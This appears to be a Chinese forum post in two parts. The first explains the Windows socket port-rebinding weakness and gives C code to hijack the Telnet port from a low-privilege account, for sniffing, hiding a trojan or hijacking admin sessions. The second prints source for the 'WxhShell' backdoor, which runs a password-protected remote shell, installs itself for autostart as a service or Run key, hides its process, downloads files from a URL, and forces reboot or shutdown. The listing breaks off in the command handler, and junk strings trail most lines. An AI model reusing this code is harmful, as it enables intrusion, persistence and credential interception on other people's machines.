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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?-FSDNQ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); HY]vaA`  
5k`[a93T  
  saddr.sin_family = AF_INET; F_SkS?dB  
tVhY=X{N?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @"}dbW<DV  
I +,D,Vg  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S?{|qlpy  
>#@1 I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -(n[^48K  
|Hbe]2"x>  
  这意味着什么?意味着可以进行如下的攻击: ?l_>rSly5  
? OBe!NDf  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t|*PC   
@o+T<}kWX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5 TD"  
N(?yOB4gt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %iI0JF*E z  
{rWu`QT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N0c+V["s  
a9GOY+;bf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b`n+[UCPtn  
D PnKr/  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oHmU|  
x8T5aS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /KEPPp  
Tk-PCra  
  #include ?lb1K'(  
  #include do{#y*B/g!  
  #include nzDS  
  #include    G'( %8\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6|#^4D)  
  int main() pBt/vSad  
  { \n850PS  
  WORD wVersionRequested; $JTy`g0>x  
  DWORD ret; n@BE*I<"  
  WSADATA wsaData; +1p>:cih  
  BOOL val; _QtqQ~f  
  SOCKADDR_IN saddr; 9`^VuC'  
  SOCKADDR_IN scaddr;  Iz2K  
  int err; 3V`K^X3  
  SOCKET s; @2 dp5  
  SOCKET sc; asR6,k  
  int caddsize; L6j 5pI  
  HANDLE mt; ;T6^cS{Gj  
  DWORD tid;   ~}4o=O(  
  wVersionRequested = MAKEWORD( 2, 2 ); @yaBtZUp3  
  err = WSAStartup( wVersionRequested, &wsaData ); +[r%y,k  
  if ( err != 0 ) { BzA(yCu$:  
  printf("error!WSAStartup failed!\n"); "zw?AC6  
  return -1; Ul[>LKFY  
  } H/Goaf%  
  saddr.sin_family = AF_INET; t1B0M4x9  
   6mEW*qp2F  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'oTcx Jx  
NV;5T3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |Xd[%W)  
  saddr.sin_port = htons(23); z$-/yT"M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $'X*L e@k  
  { tZa)sbz  
  printf("error!socket failed!\n"); )QTk5zt  
  return -1; ok'0Byo  
  } )1j~(C)E8  
  val = TRUE; -baGr;,Cu  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5%?La`C9[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SBjtg@:G0n  
  { Rv q_Zsm  
  printf("error!setsockopt failed!\n"); c ~YD|l  
  return -1; S M987Y!B  
  } l4F4o6:]n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %8$JL=c  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \9se~tAl3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /~7H<^}  
o^&; `XOd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FEaf&'G]  
  { 8+gx?pb  
  ret=GetLastError(); y%TR2CvT  
  printf("error!bind failed!\n"); :`3b|u=KZ  
  return -1; RO wbzA)]r  
  } qR]4m]o  
  listen(s,2); cw"x0 RS  
  while(1) #A]7cMZ'W  
  { J-?\,N1R7  
  caddsize = sizeof(scaddr); dhK$ XG  
  //接受连接请求 .&@|)u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V]k!]  
  if(sc!=INVALID_SOCKET) ^ ?tAt3dMI  
  { nZ\,ZqV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;%dkwKO  
  if(mt==NULL) i'e^[oZ  
  { kP;:s  
  printf("Thread Creat Failed!\n"); 0M8JE9 Kx  
  break; ]; ^OY\,  
  } ~BS*x+M  
  } gP( -Op  
  CloseHandle(mt); {]D!@87  
  } 34;c00  
  closesocket(s); n"FOCcTIs  
  WSACleanup(); &2xYG{Z  
  return 0; G~B V^  
  }   lh#GD"^(w&  
  DWORD WINAPI ClientThread(LPVOID lpParam) uhc0,V;S  
  { G=nFs)z  
  SOCKET ss = (SOCKET)lpParam; :!}zdeRJ  
  SOCKET sc; /$eEj  
  unsigned char buf[4096]; E0O{5YF^T  
  SOCKADDR_IN saddr; oQ yG  
  long num; .k*2T<p$rC  
  DWORD val; )D[xY0Y~  
  DWORD ret; 2OT6*+D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 akCl05YW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _)_XO92~  
  saddr.sin_family = AF_INET; l?FNYvL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); C>K/C!5?  
  saddr.sin_port = htons(23); ItaJgtsV  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }SN'*w@E  
  { *(>$4$9n  
  printf("error!socket failed!\n"); ]oya<C6pR  
  return -1; @nc!(P7_  
  } &y(aByI y  
  val = 100; "5y^s!/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (QRl -| +  
  { #[[p/nAy}A  
  ret = GetLastError(); aSF&^/j  
  return -1; $Ilr.6';  
  } RDqC$Gu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /GeS(xzQ  
  { |Q I3H]T7  
  ret = GetLastError();  +;!w;t  
  return -1; F_r eBPx  
  } /uyQ>Y*-\Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ix#  
  { ,3n}*"K  
  printf("error!socket connect failed!\n"); { a_L /"7  
  closesocket(sc); yv:NH|,/y  
  closesocket(ss); 4xYo2X,B  
  return -1; X_YD[  
  } V3+%KkN  
  while(1) EV(/@kN2  
  { A!Yqj~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _ x'StD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +nZG!nP  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |n|2)hC  
  num = recv(ss,buf,4096,0); (gmB$pwS  
  if(num>0) eS.]@ E-T  
  send(sc,buf,num,0); .XE]vo  
  else if(num==0) 0Gs]>B4r/  
  break; b gD Dys  
  num = recv(sc,buf,4096,0); <n:?WP~U  
  if(num>0) \c\=S  
  send(ss,buf,num,0); Z0:BXtW  
  else if(num==0) Grub1=6l  
  break; 0jzA\$oD  
  } ]e3nnS1*.  
  closesocket(ss); |kd^]! _  
  closesocket(sc); <qy+@t  
  return 0 ; 6\Z^L1973  
  } [T^6Kzz  
a,E;R$[!  
jCl[!L5/1  
========================================================== o{hKt?  
b7,qzh  
下边附上一个代码,,WXhSHELL +O H."4Z  
fE:2MW!)*  
========================================================== B)|s.Ez  
-s1VlS/  
#include "stdafx.h" GkC88l9z  
S-H3UND"  
#include <stdio.h> lt4UNJ3w  
#include <string.h> BxqCV%9o  
#include <windows.h> Rta P+6'X  
#include <winsock2.h> MDq@:t  
#include <winsvc.h> w '"7~uN  
#include <urlmon.h> 3OZ}&[3  
:W&\})  
#pragma comment (lib, "Ws2_32.lib") {h=Ai[|l4Q  
#pragma comment (lib, "urlmon.lib") pZjFpd|  
[~o3S$C&7  
#define MAX_USER   100 // 最大客户端连接数 Q4PXC$u  
#define BUF_SOCK   200 // sock buffer KJ~pY<a?  
#define KEY_BUFF   255 // 输入 buffer X ,   
,rdM{ r  
#define REBOOT     0   // 重启 G~]BC#nB_  
#define SHUTDOWN   1   // 关机 $d=lDN  
z W _'sC  
#define DEF_PORT   5000 // 监听端口 5 9vGLN!L  
;@ e |}Gk  
#define REG_LEN     16   // 注册表键长度 @e7+d@ O<  
#define SVC_LEN     80   // NT服务名长度 3IkG*enI  
!:8!\gE ^P  
// 从dll定义API ;4bu=<%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8dH|s#.4um  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E$wB bm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h CiblM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \2`U$3Q  
^n]s}t}csV  
// wxhshell配置信息 l rzW H0Q  
struct WSCFG { 9<ayQ*  
  int ws_port;         // 监听端口 7ou^wt+%  
  char ws_passstr[REG_LEN]; // 口令 }VGiT~2$  
  int ws_autoins;       // 安装标记, 1=yes 0=no Uww^Sq  
  char ws_regname[REG_LEN]; // 注册表键名 ;gyE5n-{  
  char ws_svcname[REG_LEN]; // 服务名 34=0.{qn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -*A'6%`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |3L MVN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "mf;k^sqS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xy{+=UY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uE$o4X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sf8d|R@O  
E(8g(?4  
}; xlLS`  
rBf?kDt6l  
// default Wxhshell configuration SMyg=B\x?7  
struct WSCFG wscfg={DEF_PORT, 1dcy+ !>  
    "xuhuanlingzhe", 2&m7pcls  
    1, L7-nPH  
    "Wxhshell", "J#:PfJ%  
    "Wxhshell", -ZB"Yg$l  
            "WxhShell Service", f+V':qz  
    "Wrsky Windows CmdShell Service", "->:6Oe2   
    "Please Input Your Password: ", "Tv7*3>  
  1, ~-+Zu<  
  "http://www.wrsky.com/wxhshell.exe", LDsYr]  
  "Wxhshell.exe" 8(}sZ)6  
    }; *`#,^p`j b  
TRZ^$<AG  
// 消息定义模块 KB = z{g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |@BN+o;`Om  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z@i4dC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q\76jD`m\  
char *msg_ws_ext="\n\rExit."; iIFQRnpu;3  
char *msg_ws_end="\n\rQuit."; f#5JAR  
char *msg_ws_boot="\n\rReboot..."; 8=~>B@'  
char *msg_ws_poff="\n\rShutdown..."; w%;'uN_  
char *msg_ws_down="\n\rSave to "; 5[_8N{QC;  
l 5FQ!>IM  
char *msg_ws_err="\n\rErr!"; umzYJ>2t  
char *msg_ws_ok="\n\rOK!"; SOmn2 }   
[/G;XHL;?  
char ExeFile[MAX_PATH]; R5"p7>  
int nUser = 0; ~|rkt`8p  
HANDLE handles[MAX_USER]; 5WT\0]RUa  
int OsIsNt; nlW&(cH  
0,/x#  
SERVICE_STATUS       serviceStatus; 3U)8P6Fz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "tM/`:Qp  
!U_L7  
// 函数声明 l i-YkaP  
int Install(void); Pc'?p  
int Uninstall(void); &pm{7nH  
int DownloadFile(char *sURL, SOCKET wsh); kg@h R}  
int Boot(int flag); ]aNnY?qW5  
void HideProc(void); L])w-  
int GetOsVer(void); t5h_Q92N  
int Wxhshell(SOCKET wsl); Z<W6Avr  
void TalkWithClient(void *cs); +`8)U3u0  
int CmdShell(SOCKET sock); "N]o5d   
int StartFromService(void); wVDB?gy%#  
int StartWxhshell(LPSTR lpCmdLine); $8k_M   
keskD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NrcCUZ .:N  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @'@6vC  
SWpUVZyd  
// 数据结构和表定义 Tm\[q  
SERVICE_TABLE_ENTRY DispatchTable[] = OU@x1G{Cy  
{ dH|^\IQ  
{wscfg.ws_svcname, NTServiceMain}, e-9unnk  
{NULL, NULL} x[UO1% _o-  
}; <q2nZI^  
<R>z;2c  
// 自我安装 8F`  
int Install(void) *K'ej4"u  
{ P*`xiTA  
  char svExeFile[MAX_PATH]; Y)}%SP>,  
  HKEY key; +o]BjgG  
  strcpy(svExeFile,ExeFile); "Q{~Bj~  
4/?}xD|?  
// 如果是win9x系统,修改注册表设为自启动 &Fjilx'k  
if(!OsIsNt) { ~uadivli  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S7{.liHf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); % VpBB  
  RegCloseKey(key); ~+C?][T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8"mW!M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D^55:\4(  
  RegCloseKey(key); a +yI2s4Z  
  return 0; !m(L0YH  
    } ;bZ*6-\!-  
  } 1Uk~m  
} vN:[  
else { )C]&ui~1  
*Ne&SXg  
// 如果是NT以上系统,安装为系统服务 ROS"VV<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g ypq`F  
if (schSCManager!=0) 7CM03R[P  
{ o!`O i5  
  SC_HANDLE schService = CreateService ><Z3<7K9  
  ( n~u3  
  schSCManager, {$YD-bqY  
  wscfg.ws_svcname, ih |Ky+!  
  wscfg.ws_svcdisp, F LI8r:  
  SERVICE_ALL_ACCESS, p''"E$B/(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +\GZ(!~  
  SERVICE_AUTO_START, lk1Gs{(qhH  
  SERVICE_ERROR_NORMAL, yr2L  
  svExeFile, \&&(ytL  
  NULL, 9zYiG3 d  
  NULL, NjN?RB/5  
  NULL, T% 13 '  
  NULL, -MU.Hu  
  NULL LG{inhbp  
  ); 7'i#!5  
  if (schService!=0) [ 5 2zta  
  { P3tG#cJ  
  CloseServiceHandle(schService); U!?gdX  
  CloseServiceHandle(schSCManager); fGf-fh;s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ikN!ut  
  strcat(svExeFile,wscfg.ws_svcname); ~+ s*\~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l@r wf$-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~vSAnjeR  
  RegCloseKey(key); \UqS -j|  
  return 0; fTV|? :C{  
    } 92]ZiL?k  
  } aq+IC@O  
  CloseServiceHandle(schSCManager); E\~ KVn  
} RE $3| z  
} |W*@}D  
D`:d'ow~KQ  
return 1; uO@3vY',n  
} br;H8-   
()M@3={R  
// 自我卸载 b>= Wq  
int Uninstall(void) >q@Sd  
{ {{ *]bGko  
  HKEY key; AXP`,H  
7X{bB  
if(!OsIsNt) { 6QLQ1k`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BCUt`;q ]B  
  RegDeleteValue(key,wscfg.ws_regname); ;=+Zw1/g  
  RegCloseKey(key); ,ah*!Zm.kk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fA_%8CjI  
  RegDeleteValue(key,wscfg.ws_regname); +6hl@Fm(  
  RegCloseKey(key); .^~l_ LkA  
  return 0; WAB0e~e:|Q  
  } Kka8cG  
} ,{{#a*nd  
} .blft,'  
else { /8>0; bX+  
=vr Y{5!>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !Wixs]od   
if (schSCManager!=0) + sywgb)  
{ 5rmlAq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t'Eb#Nup3  
  if (schService!=0) S6T!qH{6  
  { juMxl  
  if(DeleteService(schService)!=0) { tpa^k  
  CloseServiceHandle(schService); hB7pR"P  
  CloseServiceHandle(schSCManager); xd|~+4  
  return 0; !ASoXQRz  
  } =,4 '"  
  CloseServiceHandle(schService); K6v $#{$6  
  } o)#q9Vk%b  
  CloseServiceHandle(schSCManager); Seq]NkgY  
} i#RElH  
} P}hY {y'  
Z.:<TrN  
return 1; ~mK-8U4>K,  
} +~ 3w5.8  
NSS4v tA  
// 从指定url下载文件 Du^x=;  
int DownloadFile(char *sURL, SOCKET wsh) s[3![ "^Y  
{ 3WCqKXJ7  
  HRESULT hr; jF2[bzY4  
char seps[]= "/"; hqs$yb  
char *token; sq~+1(X  
char *file; }KA-t}8  
char myURL[MAX_PATH]; T)(e!Xz  
char myFILE[MAX_PATH]; @P_C%}(<  
<mZrR3v'D  
strcpy(myURL,sURL); VFl 1 f  
  token=strtok(myURL,seps); Q+b.-iWR  
  while(token!=NULL) >+:r '  
  { 6Z(*cf/s  
    file=token; `10X5V@hP  
  token=strtok(NULL,seps); E kBae=  
  } qRPc %"  
/&]-I$G@  
GetCurrentDirectory(MAX_PATH,myFILE); Gefnk!;;  
strcat(myFILE, "\\"); {_zV5 V  
strcat(myFILE, file); [`.3f'")j  
  send(wsh,myFILE,strlen(myFILE),0); S<eZd./p6  
send(wsh,"...",3,0); }XCR+uAz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q%-&[%l  
  if(hr==S_OK) .Vo"AuC}  
return 0; vuR5}/Ev  
else -BA"3 S  
return 1; ~$4]HDg  
-`!_h[   
} B2~f;zy`  
h; 'W :P  
// 系统电源模块 <i}q=%W!1  
int Boot(int flag) (PS$e~H s  
{ vpm ]9>1[  
  HANDLE hToken; *o02!EYge  
  TOKEN_PRIVILEGES tkp; ORowx,(hX  
vWU%ST  
  if(OsIsNt) { Opv1B2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +_qh)HX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ytjK++(T5  
    tkp.PrivilegeCount = 1; `'p`PyMt`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rI0)F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rIeM+h7Wn  
if(flag==REBOOT) { :E>&s9Yj?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }RcK_w@Jx)  
  return 0; Hp\Ddx >Jd  
} V@vhj R4r\  
else { eo1&.FQu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XzT78  
  return 0; b fp,zs  
} @Ex;9F,Q  
  } })@tA<+  
  else { n{dP@_>WS  
if(flag==REBOOT) { [ULwzjss#L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4~O6$;!|~  
  return 0; Zc-#;/b3T  
} GAv)QZyV$  
else { S8O)/Sg=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9>N\sOh  
  return 0; nVxq72o@  
} $ !v}xY  
} m!<X8d[bD  
3az$:[Und}  
return 1; EdEoXY-2  
} PzjaCp'  
4,2(nYF  
// win9x进程隐藏模块 * [tc  
void HideProc(void) 6|,e%  
{ <tFSF%vG=  
um;:fT+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >SvDgeg_7f  
  if ( hKernel != NULL ) }6).|^]\'  
  { \V= &&(n#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N~;*bvW{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6sPk:5  
    FreeLibrary(hKernel); |GtY*|  
  } /D0RC  
8;TAb.r  
return; 75ZH  
} cVp[ Z#B  
*4t-e0]j@w  
// 获取操作系统版本 wW-Ab  
int GetOsVer(void) *=Doe2(!C  
{  "Y7+{  
  OSVERSIONINFO winfo; - %|P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *zq.C  
  GetVersionEx(&winfo); .eo~?u<j&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^IBGYl5n  
  return 1; "OO96F  
  else ! .AhzU1%Y  
  return 0; %JQ~!3  
} Va7c#P?  
6O9iEc,HM  
// 客户端句柄模块 z!$gVWG  
int Wxhshell(SOCKET wsl) gmY/STN   
{ a:A n=NA  
  SOCKET wsh; IAf$]Fh  
  struct sockaddr_in client; ~\$=w10  
  DWORD myID; AYcgi  
.U9 R> #  
  while(nUser<MAX_USER) M#xQW`-`  
{ )u;JwFstX  
  int nSize=sizeof(client); .d~\Ysve  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )GVBE%!WEd  
  if(wsh==INVALID_SOCKET) return 1; u FZ~  
~Rs#|JWB2V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); il12T`a  
if(handles[nUser]==0) #$FrFU;ZR  
  closesocket(wsh); ' WQdr(  
else <FUon  
  nUser++; D*\v0=P'?  
  }  R:~(Z?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); thuRNYv <  
&|b4\uj9  
  return 0; Q&xjF@I  
} zsDocR   
daslaa_A  
// 关闭 socket ca(U!T68  
void CloseIt(SOCKET wsh)  `?|Rc  
{ l-}KmZ]  
closesocket(wsh); #--olEj!  
nUser--; O|I+],  
ExitThread(0); $Jp~\_X  
} XA)'=L!^  
mG2VZ>  
// 客户端请求句柄 N5? IpE  
void TalkWithClient(void *cs) llq*T"7  
{ gWOt]D&#/  
#{$1z;i?f  
  SOCKET wsh=(SOCKET)cs; sw$2d  
  char pwd[SVC_LEN]; H\E7o" m  
  char cmd[KEY_BUFF]; %X>FVlPm  
char chr[1]; URA0ey`  
int i,j; ]tB@kBi "  
f#$|t>  
  while (nUser < MAX_USER) { R_1qn  
~U$":~H[  
if(wscfg.ws_passstr) { )JhT1j Qc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -#.< 12M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d yh<pX/$  
  //ZeroMemory(pwd,KEY_BUFF); :g2  }C  
      i=0; (wuaxo:  
  while(i<SVC_LEN) { *0y{ ~@  
byGn,m  
  // 设置超时 qsI^oBD"  
  fd_set FdRead; QXVC\@  
  struct timeval TimeOut; nBz`q+V  
  FD_ZERO(&FdRead); R>2IRvY(  
  FD_SET(wsh,&FdRead); 9 |.Ao  
  TimeOut.tv_sec=8; BLn_u,3  
  TimeOut.tv_usec=0; ?59'dGnz_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zw{MgoJ0Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A&zS'toU  
I[0!S IqY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nPFwPk8=M  
  pwd=chr[0]; E]I$}>k  
  if(chr[0]==0xd || chr[0]==0xa) { gCuAF$o  
  pwd=0; ?Go!j?#a  
  break; aD9q^EoEs  
  } Wd8R u/  
  i++; @;iXp>&&  
    } 6L9, 'Bg  
*k [J6  
  // 如果是非法用户,关闭 socket &|9.}Z8U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h2~4G)J  
} T95t"g?p  
W .I\J<=V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dNiH|-$an  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hmC*^"C>U=  
BRS#Fl:  
while(1) { lCIDBBjy^  
Ez+Z[*C  
  ZeroMemory(cmd,KEY_BUFF); !'G~k+  
"Sridh?  
      // 自动支持客户端 telnet标准   bT )]'(Xy  
  j=0; Xg7|JS!  
  while(j<KEY_BUFF) { 6N~q`;p0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sk}{E@  
  cmd[j]=chr[0]; }%TPYc  
  if(chr[0]==0xa || chr[0]==0xd) { " 6CMA 0R  
  cmd[j]=0; KxzYfH  
  break; `~# < &w  
  } =*Z5!W'd  
  j++; {"S6\%=  
    } H8{ol6wc)6  
]:ZdV9`  
  // 下载文件 upy\gkpnGO  
  if(strstr(cmd,"http://")) { //f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4J0Rv od_  
  if(DownloadFile(cmd,wsh)) LWnR?Qve<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VT%:zf  
  else k; ZxY"^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4x;_AN  
  } ;*2>ES  
  else { S( ^.?z  
x,n,Qlb  
    switch(cmd[0]) { ~P .I<  
  ?r=jF)C<'  
  // 帮助 O|kOI?f  
  case '?': { 9?<{_'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aUU7{o_Z  
    break; fCWGAO2  
  } )h{ ]k=  
  // 安装 V  ~@^`Gd  
  case 'i': { ,%9df+5k  
    if(Install()) uXjP`/R|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m ci/'b Xt  
    else -7 U| a/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ocz G|_  
    break; !C4!LZ0A  
    } X;oa[!k  
  // 卸载 9$ qm>,o  
  case 'r': { ?9{~> 4@  
    if(Uninstall()) QXgE dsw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '' O7=\  
    else dG7OqA:9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r SkUSe6  
    break; p5r]J+1  
    } 06q(aI^Ch@  
  // 显示 wxhshell 所在路径 -G7TEq)  
  case 'p': { 2-N 'ya  
    char svExeFile[MAX_PATH]; 7*5Z  
    strcpy(svExeFile,"\n\r"); BZ54*\t  
      strcat(svExeFile,ExeFile); aJ") <_+  
        send(wsh,svExeFile,strlen(svExeFile),0); ~*A8+@ \R  
    break; 4)|8Eu[p7  
    } kE9esC 3  
  // 重启 . mLK`c6  
  case 'b': { 5,-U.B}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G 0%6ch^%  
    if(Boot(REBOOT)) ,'xYlH3s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *37uy_EpV  
    else { %h?x!,q Y  
    closesocket(wsh); !$-\;<bZw  
    ExitThread(0); YG [;"QR  
    } Qx;\USv  
    break; U4aU}1RKz  
    } /='. 4 v  
  // 关机 InXn%9]p]  
  case 'd': { 8_<4-<}P:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y2o?gug  
    if(Boot(SHUTDOWN)) p$Ox'A4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aT>'.*\]  
